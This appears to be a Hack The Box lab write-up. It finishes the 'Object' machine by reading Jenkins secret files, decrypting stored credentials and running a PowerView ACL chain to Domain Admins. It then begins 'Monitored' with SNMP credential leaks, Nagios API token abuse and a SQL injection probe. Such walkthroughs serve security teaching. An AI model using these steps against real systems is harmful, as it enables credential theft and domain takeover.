After triggering the build, users.xml was displayed in the console output:

Started by remote host 10.10.14.55
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project
[test-project] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins10023837392536135080.bat

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project>type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\users.xml
<?xml version='1.1' encoding='UTF-8'?>
<hudson.model.UserIdMapper>
  <version>1</version>
  <idToDirectoryNameMap class="concurrent-hash-map">
    <entry>
      <string>test</string>
      <string>test_10072431638714946254</string>
    </entry>
    <entry>
      <string>admin</string>
      <string>admin_17207690984073220035</string>
    </entry>
  </idToDirectoryNameMap>
</hudson.model.UserIdMapper>
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project>exit 0 
Finished: SUCCESS

With the ability to read files on the server, I was able to decrypt Jenkins secrets using the Jenkins Credentials Decryptor tool, which can be found here. To do so, I needed three files from the Jenkins home directory:

%JENKINS_HOME%\users\<user_directory_name>\config.xml
%JENKINS_HOME%\secrets\master.key
%JENKINS_HOME%\secrets\hudson.util.Secret

So based on users.xml, the admin user's config.xml would be:

%JENKINS_HOME%\users\admin_17207690984073220035\config.xml

I set the batch command to:

type %JENKINS_HOME%\users\admin_17207690984073220035\config.xml

Once the build completed, I went to the console output to reveal config.xml:

Started by remote host 10.10.14.55
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project
[test-project] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins17161737380000944563.bat

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project>type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\users\admin_17207690984073220035\config.xml
<?xml version='1.1' encoding='UTF-8'?>
<user>
  <version>10</version>
  <id>admin</id>
  <fullName>admin</fullName>
  <properties>
    <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@2.6.1">
      <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
        <entry>
          <com.cloudbees.plugins.credentials.domains.Domain>
            <specifications/>
          </com.cloudbees.plugins.credentials.domains.Domain>
          <java.util.concurrent.CopyOnWriteArrayList>
            <com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
              <id>320a60b9-1e5c-4399-8afe-44466c9cde9e</id>
              <description></description>
              <username>oliver</username>
              <password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}</password>
              <usernameSecret>false</usernameSecret>
            </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
          </java.util.concurrent.CopyOnWriteArrayList>
        </entry>
      </domainCredentialsMap>
    </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>
    <hudson.plugins.emailext.watching.EmailExtWatchAction_-UserProperty plugin="email-ext@2.84">
      <triggers/>
    </hudson.plugins.emailext.watching.EmailExtWatchAction_-UserProperty>
    <hudson.model.MyViewsProperty>
      <views>
        <hudson.model.AllView>
          <owner class="hudson.model.MyViewsProperty" reference="../../.."/>
          <name>all</name>
          <filterExecutors>false</filterExecutors>
          <filterQueue>false</filterQueue>
          <properties class="hudson.model.View$PropertyList"/>
        </hudson.model.AllView>
      </views>
    </hudson.model.MyViewsProperty>
    <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.3.5">
      <providerId>default</providerId>
    </org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>
    <hudson.model.PaneStatusProperties>
      <collapsed/>
    </hudson.model.PaneStatusProperties>
    <jenkins.security.seed.UserSeedProperty>
      <seed>ea75b5bd80e4763e</seed>
    </jenkins.security.seed.UserSeedProperty>
    <hudson.search.UserSearchProperty>
      <insensitiveSearch>true</insensitiveSearch>
    </hudson.search.UserSearchProperty>
    <hudson.model.TimeZoneProperty/>
    <hudson.security.HudsonPrivateSecurityRealm_-Details>
      <passwordHash>#jbcrypt:$2a$10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b/0j4IVjZsdjUNAPoW</passwordHash>
    </hudson.security.HudsonPrivateSecurityRealm_-Details>
    <hudson.tasks.Mailer_-UserProperty plugin="mailer@1.34">
      <emailAddress>admin@object.local</emailAddress>
    </hudson.tasks.Mailer_-UserProperty>
    <jenkins.security.ApiTokenProperty>
      <tokenStore>
        <tokenList/>
      </tokenStore>
    </jenkins.security.ApiTokenProperty>
    <jenkins.security.LastGrantedAuthoritiesProperty>
      <roles>
        <string>authenticated</string>
      </roles>
      <timestamp>1634793332195</timestamp>
    </jenkins.security.LastGrantedAuthoritiesProperty>
  </properties>
</user>
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project>exit 0 
Finished: SUCCESS

To read master.key, I set the batch command to:

type %JENKINS_HOME%\secrets\master.key

Console output:

Started by remote host 10.10.14.55
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project
[test-project] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins8435746844721434956.bat

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project>type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\master.key 
f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe73414a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3bd96d8321a2e19e2bf0c76fe31db19
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project>exit 0 
Finished: SUCCESS

To read hudson.util.Secret, I set the batch command to:

type %JENKINS_HOME%\secrets\hudson.util.Secret

Console output:

Started by remote host 10.10.14.55
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project
[test-project] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins6004140155461822663.bat

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project>type C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret
�aPTñ‹ìQw3è¨¾®Ã€ƒg·¢dw-J)
uM†’,Ábˆn¨
\îÙ!Ë÷s¢E¹Ä1âªaí;>©×õU‹‡¾Õµÿ™Þ8	îÆ½¿xd$³ÌYU
©k1Î‘}ôAö»Ýv–…í„�¬©•
`K� 8
D�aIâXÒD-Å"´¾¯í‹äGt\ñQå_]Æš”�Ç>J/©«ÎL('ÞìU§ �JÌ“á|R´7Šè=vP7ˆ:ˆDÕ{ºKI8²Äžû!U�×§“úêXÊ P¿fŠáE4ìLÜ¤^ˆöð‡*áËù‚ZˆuÒ®tdÊ„! 7zßQ"
C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project>exit 0 
Finished: SUCCESS

Since hudson.util.Secret was a binary, I needed to convert it to base64 to copy it. So I set the batch command to:

powershell -c [convert]::ToBase64String((cat %JENKINS_HOME%\secrets\hudson.util.Secret -Encoding byte))

Then, it was outputted as base64:

Started by remote host 10.10.14.55
Running as SYSTEM
Building in workspace C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project
[test-project] $ cmd /c call C:\Users\oliver\AppData\Local\Temp\jenkins16252520389882112308.bat

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project>powershell -c [convert]::ToBase64String((cat C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret -Encoding byte))  
gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHOkX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2LAORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzcpBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA=

C:\Users\oliver\AppData\Local\Jenkins\.jenkins\workspace\test-project>exit 0 
Finished: SUCCESS

I copied the string and base64 decoded it into a file:

┌──(kali㉿kali)-[~/Desktop/HTB/Object]
└─$ echo "gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHOkX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2LAORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzcpBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA=" | base64 -d > hudson.util.Secret

After saving config.xml, master.key, and hudson.util.Secret locally, I used Jenkins Credentials Decryptor to obtain the credentials for the user oliver:

┌──(kali㉿kali)-[~/Desktop/HTB/Object]
└─$ chmod +x jenkins-credentials-decryptor

┌──(kali㉿kali)-[~/Desktop/HTB/Object]
└─$ ./jenkins-credentials-decryptor
Please provide all required flags.

Usage:

  jenkins-credentials-decryptor \
    -m master.key \
    -s hudson.util.Secret \
    -c credentials.xml \
    -o json

Flags:

  -c string
        (required) credentials.xml file location
  -m string
        (required) master.key file location
  -o string
        (optional) output format [json|text] (default "json")
  -s string
        (required) hudson.util.Secret file location
  -version
        (optional) show version

┌──(kali㉿kali)-[~/Desktop/HTB/Object]
└─$ ./jenkins-credentials-decryptor -c config.xml -m master.key -s hudson.util.Secret
[
  {
    "id": "320a60b9-1e5c-4399-8afe-44466c9cde9e",
    "password": "c1cdfun_d2434",
    "username": "oliver"
  }
]

Since this was a Windows machine, I checked these credentials against WinRM. netexec confirmed that these credentials were valid:

┌──(kali㉿kali)-[~/Desktop/HTB/Object]
└─$ netexec winrm 10.10.11.132 -u 'oliver' -p 'c1cdfun_d2434' 
WINRM       10.10.11.132    5985   JENKINS          [*] Windows 10 / Server 2019 Build 17763 (name:JENKINS) (domain:object.local)
WINRM       10.10.11.132    5985   JENKINS          [+] object.local\oliver:c1cdfun_d2434 (Pwn3d!)

evil-winrm shell as oliver:

┌──(kali㉿kali)-[~/Desktop/HTB/Object]
└─$ evil-winrm -i 10.10.11.132 -u 'oliver' -p 'c1cdfun_d2434'
                                        
Evil-WinRM shell v3.5
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\oliver\Documents> whoami
object\oliver
*Evil-WinRM* PS C:\Users\oliver\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\oliver\desktop> ls


    Directory: C:\Users\oliver\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        12/3/2024   5:23 PM             34 user.txt

Enumeration revealed that the user was part of an AD domain and netstat indicated that the machine was a domain controller based on the listening ports:

*Evil-WinRM* PS C:\Users\oliver\desktop> netstat -an | findstr LISTEN
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:88             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:389            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:464            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:593            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:636            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3268           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3269           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:9389           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49673          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49674          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49684          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49695          0.0.0.0:0              LISTENING
  TCP    10.10.11.132:53        0.0.0.0:0              LISTENING
  TCP    10.10.11.132:139       0.0.0.0:0              LISTENING
  TCP    127.0.0.1:53           0.0.0.0:0              LISTENING
<...snip...>

To collect domain data, I uploaded SharpHound.exe, but it didn't run. Next, I tried SharpHound.ps1 which worked:

*Evil-WinRM* PS C:\programdata> upload SharpHound.ps1

Info: Uploading /home/kali/Desktop/HTB/Object/SharpHound.ps1 to C:\programdata\SharpHound.ps1

Data: 1744464 bytes of 1744464 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\programdata> . .\SharpHound.ps1
*Evil-WinRM* PS C:\programdata> Invoke-BloodHound -CollectionMethods All -OutputDirectory C:\programdata
*Evil-WinRM* PS C:\programdata> ls


    Directory: C:\programdata


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d---s-       10/21/2021   3:13 AM                Microsoft
d-----       10/21/2021  12:05 AM                regid.1991-06.com.microsoft
d-----        9/15/2018  12:19 AM                SoftwareDistribution
d-----        4/10/2020   5:48 AM                ssh
d-----        4/10/2020  10:49 AM                USOPrivate
d-----        4/10/2020  10:49 AM                USOShared
d-----        8/25/2021   2:57 AM                VMware
-a----        12/3/2024   6:52 PM          11443 20241203185242_BloodHound.zip
-a----        12/3/2024   6:52 PM           7897 MWU2MmE0MDctMjBkZi00N2VjLTliOTMtYThjYTY4MjdhZDA2.bin
-a----        12/3/2024   6:49 PM         578048 SharpHound.exe
-a----        12/3/2024   6:51 PM        1308348 SharpHound.ps1

I downloaded the ZIP:

*Evil-WinRM* PS C:\programdata> download 20241203185242_BloodHound.zip

Info: Downloading C:\programdata\20241203185242_BloodHound.zip to 20241203185242_BloodHound.zip

Info: Download successful!

After uploading the data into BloodHound, viewing First Degree Object Control for oliver showed that the user had ForceChangePassword rights over smith:

First Degree Object Control for smith showed GenericWrite access over maria:

First Degree Object Control for maria showed WriteOwner access over the Domain Admins group:

Therefore, domain admin could be achieved in three jumps. So next, I uploaded PowerView into the WinRM session:

*Evil-WinRM* PS C:\programdata> upload PowerView.ps1

Info: Uploading /home/kali/Desktop/HTB/Object/PowerView.ps1 to C:\programdata\PowerView.ps1

Data: 1206372 bytes of 1206372 bytes copied

Info: Upload successful!

Using Set-DomainUserPassword from Powerview, I changed the password of smith:

*Evil-WinRM* PS C:\programdata> . .\PowerView.ps1
*Evil-WinRM* PS C:\programdata> $password = ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force
*Evil-WinRM* PS C:\programdata> Set-DomainUserPassword -Identity smith -AccountPassword $password

I was then able to log in as smith over WinRM:

┌──(kali㉿kali)-[~/Desktop/HTB/Object]
└─$ evil-winrm -i 10.10.11.132 -u 'smith' -p 'P@ssw0rd'
                                        
Evil-WinRM shell v3.5
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\smith\Documents> whoami
object\smith

Since smith had GenericWrite over maria, I attempted a targeted kerberoasting attack, but the password didn't crack. However, as mentioned here, GenericWrite can also be used to edit the logon script of a user. Thus, I created a PowerShell script (run.ps1) containing a command to output the results of ls c:\users\maria into c:\programdata\output:

*Evil-WinRM* PS C:\programdata> echo "ls c:\users\maria > c:\programdata\output" > run.ps1

Then, using PowerView, I set the logon script path for maria to be c:\programdata\run.ps1:

*Evil-WinRM* PS C:\programdata> . .\PowerView.ps1
*Evil-WinRM* PS C:\programdata> Set-DomainObject -Identity maria -SET @{scriptpath="c:\programdata\run.ps1"}

output was written into the current directory:

*Evil-WinRM* PS C:\programdata> ls


    Directory: C:\programdata


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d---s-       10/21/2021   3:13 AM                Microsoft
d-----       10/21/2021  12:05 AM                regid.1991-06.com.microsoft
d-----        9/15/2018  12:19 AM                SoftwareDistribution
d-----        4/10/2020   5:48 AM                ssh
d-----        4/10/2020  10:49 AM                USOPrivate
d-----        4/10/2020  10:49 AM                USOShared
d-----        8/25/2021   2:57 AM                VMware
-a----        12/3/2024   6:52 PM          11443 20241203185242_BloodHound.zip
-a----        12/3/2024   6:52 PM           7897 MWU2MmE0MDctMjBkZi00N2VjLTliOTMtYThjYTY4MjdhZDA2.bin
-a----        12/3/2024   7:04 PM           3476 output
-a----        12/3/2024   7:00 PM         904779 PowerView.ps1
-a----        12/3/2024   7:04 PM             88 run.ps1
-a----        12/3/2024   6:49 PM         578048 SharpHound.exe
-a----        12/3/2024   6:51 PM        1308348 SharpHound.ps1

I was able to enumerate the user directory for maria by reading output:

*Evil-WinRM* PS C:\programdata> cat output


    Directory: C:\users\maria


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---       10/22/2021   3:54 AM                3D Objects
d-r---       10/22/2021   3:54 AM                Contacts
d-r---       10/25/2021   3:47 AM                Desktop
d-r---       10/25/2021  10:07 PM                Documents
d-r---       10/22/2021   3:54 AM                Downloads
d-r---       10/22/2021   3:54 AM                Favorites
d-r---       10/22/2021   3:54 AM                Links
d-r---       10/22/2021   3:54 AM                Music
d-r---       10/22/2021   3:54 AM                Pictures
d-r---       10/22/2021   3:54 AM                Saved Games
d-r---       10/22/2021   3:54 AM                Searches
d-r---       10/22/2021   3:54 AM                Videos

Next, I edited run.ps1 to list the contents of c:\users\maria\desktop:

*Evil-WinRM* PS C:\programdata> echo "ls c:\users\maria\desktop > c:\programdata\output" > run.ps1
*Evil-WinRM* PS C:\programdata> ls


    Directory: C:\programdata


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d---s-       10/21/2021   3:13 AM                Microsoft
d-----       10/21/2021  12:05 AM                regid.1991-06.com.microsoft
d-----        9/15/2018  12:19 AM                SoftwareDistribution
d-----        4/10/2020   5:48 AM                ssh
d-----        4/10/2020  10:49 AM                USOPrivate
d-----        4/10/2020  10:49 AM                USOShared
d-----        8/25/2021   2:57 AM                VMware
-a----        12/3/2024   6:52 PM          11443 20241203185242_BloodHound.zip
-a----        12/3/2024   6:52 PM           7897 MWU2MmE0MDctMjBkZi00N2VjLTliOTMtYThjYTY4MjdhZDA2.bin
-a----        12/3/2024   7:06 PM            830 output
-a----        12/3/2024   7:00 PM         904779 PowerView.ps1
-a----        12/3/2024   7:06 PM            104 run.ps1
-a----        12/3/2024   6:49 PM         578048 SharpHound.exe
-a----        12/3/2024   6:51 PM        1308348 SharpHound.ps1

c:\users\maria\desktop contained Engines.xls:

*Evil-WinRM* PS C:\programdata> cat output


    Directory: C:\users\maria\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       10/26/2021   8:13 AM           6144 Engines.xls

I edited run.ps1 to copy Engines.xls into c:\programdata:

*Evil-WinRM* PS C:\programdata> echo 'copy c:\users\maria\desktop\Engines.xls c:\programdata' > run.ps1
*Evil-WinRM* PS C:\programdata> ls


    Directory: C:\programdata


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d---s-       10/21/2021   3:13 AM                Microsoft
d-----       10/21/2021  12:05 AM                regid.1991-06.com.microsoft
d-----        9/15/2018  12:19 AM                SoftwareDistribution
d-----        4/10/2020   5:48 AM                ssh
d-----        4/10/2020  10:49 AM                USOPrivate
d-----        4/10/2020  10:49 AM                USOShared
d-----        8/25/2021   2:57 AM                VMware
-a----        12/3/2024   6:52 PM          11443 20241203185242_BloodHound.zip
-a----       10/26/2021   8:13 AM           6144 Engines.xls
-a----        12/3/2024   6:52 PM           7897 MWU2MmE0MDctMjBkZi00N2VjLTliOTMtYThjYTY4MjdhZDA2.bin
-a----        12/3/2024   7:09 PM            830 output
-a----        12/3/2024   7:00 PM         904779 PowerView.ps1
-a----        12/3/2024   7:09 PM            114 run.ps1
-a----        12/3/2024   6:49 PM         578048 SharpHound.exe
-a----        12/3/2024   6:51 PM        1308348 SharpHound.ps1

I downloaded Engines.xls:

*Evil-WinRM* PS C:\programdata> download Engines.xls
                                        
Info: Downloading C:\programdata\Engines.xls to Engines.xls
                                        
Info: Download successful!

Engines.xls contained three passwords:

I used netexec to check each password against WinRM, and W3llcr4ft3d_4cls was valid:

┌──(kali㉿kali)-[~/Desktop/HTB/Object]
└─$ netexec winrm 10.10.11.132 -u 'maria' -p 'W3llcr4ft3d_4cls' 
WINRM       10.10.11.132    5985   JENKINS          [*] Windows 10 / Server 2019 Build 17763 (name:JENKINS) (domain:object.local)
WINRM       10.10.11.132    5985   JENKINS          [+] object.local\maria:W3llcr4ft3d_4cls (Pwn3d!)

evil-winrm shell as maria:

┌──(kali㉿kali)-[~/Desktop/HTB/Object]
└─$ evil-winrm -i 10.10.11.132 -u 'maria' -p 'W3llcr4ft3d_4cls'
                                        
Evil-WinRM shell v3.5
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\maria\Documents> whoami
object\maria

As discovered earlier in BloodHound, maria had WriteOwner permissions on Domain Admins. I used PowerView to change the owner of Domain Admins to maria, give the user full rights, and then add the user as a member:

*Evil-WinRM* PS C:\programdata> . .\PowerView.ps1
*Evil-WinRM* PS C:\programdata> Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria'
*Evil-WinRM* PS C:\programdata> Add-DomainObjectAcl -TargetIdentity 'Domain Admins' -PrincipalIdentity 'maria' -Rights All
*Evil-WinRM* PS C:\programdata> Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'

I confirmed maria was successfully added to the Domain Admins group:

*Evil-WinRM* PS C:\programdata> net user maria
User name                    maria
Full Name                    maria garcia
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/21/2021 8:16:32 PM
Password expires             Never
Password changeable          10/22/2021 8:16:32 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script                 c:\programdata\run.ps1
User profile
Home directory
Last logon                   12/3/2024 7:14:20 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Admins        *Domain Users
The command completed successfully.

In order for the change to actually take effect, I needed to exit the WinRM session and log in again. After doing so, I was then able to access the administrator user's directory:

┌──(kali㉿kali)-[~/Desktop/HTB/Object]
└─$ evil-winrm -i 10.10.11.132 -u 'maria' -p 'W3llcr4ft3d_4cls'
                                        
Evil-WinRM shell v3.5
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\maria\Documents> cd \users\administrator\desktop
*Evil-WinRM* PS C:\users\administrator\desktop> ls


    Directory: C:\users\administrator\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        12/3/2024   5:23 PM             34 root.txt

Hack The Box - Monitored

Fri, 01 Nov 2024 00:00:00 GMT

Monitored is a Linux machine running an instance of Nagios XI. A username and password for Nagios can be discovered from SNMP data, which reveals a command containing credentials for the svc user. Although this user's account is disabled, an authentication token can still be obtained via the Nagios API, granting access to the dashboard. A SQL injection vulnerability (CVE-2023-40931) in Nagios XI can then be exploited to retrieve the nagiosadmin user's API key, enabling the creation of a new admin user. With admin access, arbitrary commands can be executed on the host, resulting in a shell as the nagios user. To escalate privileges, sudo permissions on a bash script can be leveraged to read the root user's SSH key, leading to a root shell.

nmap scan (all ports):

┌──(kali㉿kali)-[~/Desktop/HTB/Monitored]
└─$ nmap -p- 10.10.11.248   
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-27 01:20 EDT
Nmap scan report for nagios.monitored.htb (10.10.11.248)
Host is up (0.048s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
389/tcp  open  ldap
443/tcp  open  https
5667/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 25.51 seconds

Script and version scan on open ports:

┌──(kali㉿kali)-[~/Desktop/HTB/Monitored]
└─$ nmap -sC -sV -p 22,80,389,443,5667 -oA nmap/output 10.10.11.248
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-27 01:21 EDT
Nmap scan report for nagios.monitored.htb (10.10.11.248)
Host is up (0.044s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 61:e2:e7:b4:1b:5d:46:dc:3b:2f:91:38:e6:6d:c5:ff (RSA)
|   256 29:73:c5:a5:8d:aa:3f:60:a9:4a:a3:e5:9f:67:5c:93 (ECDSA)
|_  256 6d:7a:f9:eb:8e:45:c2:02:6a:d5:8d:4d:b3:a3:37:6f (ED25519)
80/tcp   open  http       Apache httpd 2.4.56
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Did not follow redirect to https://nagios.monitored.htb
389/tcp  open  ldap       OpenLDAP 2.2.X - 2.3.X
443/tcp  open  ssl/http   Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
| ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK
| Not valid before: 2023-11-11T21:46:55
|_Not valid after:  2297-08-25T21:46:55
| tls-alpn: 
|_  http/1.1
|_http-title: Nagios XI
|_ssl-date: TLS randomness does not represent time
5667/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.36 seconds

UDP scan (top 100 ports):

┌──(kali㉿kali)-[~/Desktop/HTB/Monitored]
└─$ sudo nmap -sU --top-ports 100 10.10.11.248
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-27 01:45 EDT
Nmap scan report for monitored.htb (10.10.11.248)
Host is up (0.045s latency).
Not shown: 96 closed udp ports (port-unreach)
PORT    STATE         SERVICE
68/udp  open|filtered dhcpc
123/udp open          ntp
161/udp open          snmp
162/udp open|filtered snmptrap

Nmap done: 1 IP address (1 host up) scanned in 117.21 seconds

I added nagios.monitored.htb to /etc/hosts and visited https://nagios.monitored.htb which was the welcome page for Nagios XI:

Clicking "Access Nagios XI" brought up the login page:

I tried the default Nagios credentials of nagiosadmin:PASSW0RD which didn't work, I also couldn't find a version number:

Since port 389 was open, I used ldapsearch to fetch LDAP info, but there wasn't anything interesting:

┌──(kali㉿kali)-[~/Desktop/HTB/Monitored]
└─$ ldapsearch -x -H ldap://10.10.11.248 -b "dc=monitored,dc=htb"
# extended LDIF
#
# LDAPv3
# base <dc=monitored,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# monitored.htb
dn: dc=monitored,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: monitored.htb
dc: monitored

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

Referring to the Nmap UDP scan, port 161 (SNMP) was open, so next I enumerated SNMP. The community string "public" was valid, allowing me to retrieve SNMP data using snmpwalk:

┌──(kali㉿kali)-[~/Desktop/HTB/Monitored]
└─$ snmpwalk -v2c -c public 10.10.11.248 > snmp_output

In the output, I found credentials for the svc user passed as command-line arguments to a script running with sudo:

<...snip...>
iso.3.6.1.2.1.25.4.2.1.5.575 = STRING: "-u -s -O /run/wpa_supplicant"
iso.3.6.1.2.1.25.4.2.1.5.582 = STRING: "-f"
iso.3.6.1.2.1.25.4.2.1.5.602 = STRING: "-c sleep 30; sudo -u svc /bin/bash -c /opt/scripts/check_host.sh svc XjH7VCehowpR1xZB "
iso.3.6.1.2.1.25.4.2.1.5.710 = ""
iso.3.6.1.2.1.25.4.2.1.5.711 = ""
<...snip...>

Attempting to log in to Nagios with the credentials svc:XjH7VCehowpR1xZB showed the following message:

Trying with another password showed a different message:

So it seemed as though the account had been disabled and therefore the credentials couldn't be used to access the web interface. However, Nagios XI installations also include an API with an endpoint for authentication located at /nagiosxi/api/v1/authenticate. A web search for Nagios API authentication brought up this forum post which gives an example of how to authenticate to the API to obtain an authentication token. Using the svc user's credentials, I sent the following command and received an auth_token:

┌──(kali㉿kali)-[~/Desktop/HTB/Monitored]
└─$ curl -X POST -k -L "http://nagios.monitored.htb/nagiosxi/api/v1/authenticate" -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=5" | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   201  100   151  100    50    782    258 --:--:-- --:--:-- --:--:--  1046
{
  "username": "svc",
  "user_id": "2",
  "auth_token": "1b1f45e15a2a06227b8371765c3dd86558d988af",
  "valid_min": 5,
  "valid_until": "Sun, 27 Oct 2024 04:43:45 -0400"
}

I was then able to authenticate to the web interface by appending the authentication token as the token parameter to the login URL:

https://nagios.monitored.htb/nagiosxi/login.php?token=1b1f45e15a2a06227b8371765c3dd86558d988af

After logging in, the footer of the page had the version number:

A web search showed that Nagios XI version 5.11.0 is affected by a known SQL injection vulnerability, CVE-2023-40931. The NIST page references this blog post which provides more detail on the vulnerability.

So based on the blog post, I used Burp Suite to send the following POST request to /nagiosxi/admin/banner_message-ajaxhelper.php with the POST data of action=acknowledge_banner_message&id=3' which responded with a SQL error, confirming the SQL injection vulnerability:

